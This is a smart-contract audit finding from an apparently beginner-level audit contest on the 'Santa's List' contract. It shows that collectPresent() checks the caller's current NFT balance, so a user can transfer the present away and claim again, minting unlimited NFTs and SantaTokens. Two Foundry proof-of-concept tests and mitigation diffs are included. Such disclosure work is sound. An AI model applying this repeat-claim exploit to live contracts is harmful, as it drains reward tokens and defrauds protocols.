Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
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Submission Details
Severity: high
Valid

Transferable present NFTs let users bypass the one-present-per-address collection limit

Root + Impact

Description

The intended behavior is that each address can collect only one present through collectPresent(). The implementation tries to enforce this by checking whether the caller currently owns any present NFT.

The contract inherits a normal transferable ERC721. A user can collect a present, transfer the NFT away, and then call collectPresent() again because their current balanceOf(msg.sender) is zero. For an EXTRA_NICE user, each repeated collection also mints another SantaToken.

function collectPresent() external {
...
// @> Checks current NFT balance, not whether the address has already collected
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
...
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
// @> Repeated collection also repeats SantaToken minting
i_santaToken.mint(msg.sender);
return;
}
}

Risk

Likelihood:

  • This occurs whenever an eligible user can transfer their ERC721 present to another address.

  • ERC721 transfer functions are enabled by default because the contract does not override or restrict transfers.

Impact:

  • A single eligible address can mint unlimited present NFTs by repeatedly transferring away the previous NFT.

  • An EXTRA_NICE address can also mint unlimited SantaTokens, inflating the protocol reward token supply.

Proof of Concept

Add this test to test/unit/SantasListTest.t.sol:

function testUserCanTransferAwayNftAndCollectAgain() public {
address extraNiceUser = makeAddr("extraNiceUser");
address receiver = makeAddr("receiver");
vm.prank(santa);
santasList.checkList(extraNiceUser, SantasList.Status.EXTRA_NICE);
vm.prank(santa);
santasList.checkTwice(extraNiceUser, SantasList.Status.EXTRA_NICE);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME());
vm.prank(extraNiceUser);
santasList.collectPresent();
assertEq(santasList.balanceOf(extraNiceUser), 1);
assertEq(santaToken.balanceOf(extraNiceUser), 1e18);
vm.prank(extraNiceUser);
santasList.transferFrom(extraNiceUser, receiver, 0);
assertEq(santasList.balanceOf(extraNiceUser), 0);
vm.prank(extraNiceUser);
santasList.collectPresent();
assertEq(santasList.balanceOf(extraNiceUser), 1);
assertEq(santasList.balanceOf(receiver), 1);
assertEq(santaToken.balanceOf(extraNiceUser), 2e18);
}

The second collection succeeds because the contract only checks current ownership, not previous collection history.

Recommended Mitigation

Track collection history in a dedicated mapping instead of relying on the caller's current ERC721 balance.

+mapping(address user => bool collected) private s_hasCollected;
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (s_hasCollected[msg.sender]) {
revert SantasList__AlreadyCollected();
}
+ s_hasCollected[msg.sender] = true;
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;

If presents are intended to be soulbound, also override transfer functions to block transfers after mint.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

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